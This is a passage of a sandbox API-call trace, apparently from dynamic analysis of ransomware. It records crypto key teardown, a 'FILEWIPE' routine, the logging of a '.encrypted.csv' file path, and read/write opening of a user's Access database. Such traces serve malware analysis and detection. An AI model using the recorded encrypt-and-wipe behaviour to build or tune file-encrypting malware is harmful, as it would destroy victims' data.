out: lpMsg=0xe8f3dfe440) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.950] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.950] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.950] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.951] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.951] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.951] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.951] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.951] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.951] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.951] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.951] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.952] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.952] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.952] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.952] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.952] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.952] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.952] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.953] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.955] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.955] CharLowerBuffW (in: lpsz="byte[37741]", cchLength=0xb | out: lpsz="byte[37741]") returned 0xb [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.955] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.955] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.955] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.956] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.957] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.957] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.957] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.958] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.958] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.958] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.960] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.960] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.960] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.960] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.960] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.960] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.960] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.960] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.960] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4409) returned 1 [0024.960] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.960] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.960] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.960] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1139, lpOverlapped=0x0) returned 1 [0024.961] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.961] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1139, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.961] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4409) returned 1 [0024.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\n", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0024.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\n", cchWideChar=56, lpMultiByteStr=0xe8f404c350, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\n", lpUsedDefaultChar=0x0) returned 56 [0024.961] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4050f00*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4050f00*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x37, lpOverlapped=0x0) returned 1 [0024.961] CloseHandle (hObject=0x188) returned 1 [0024.962] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.962] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.962] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.962] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.962] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.962] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.962] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.963] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.964] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.964] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.964] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.accdb", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0024.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.accdb", cchWideChar=48, lpMultiByteStr=0xe8f404ba10, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.accdb", lpUsedDefaultChar=0x0) returned 48 [0024.964] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.accdb" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my new app.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0024.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=48, lpWideCharStr=0xe8f4062720, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.accdb") returned 48 [0024.966] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.966] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.966] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.966] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.966] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 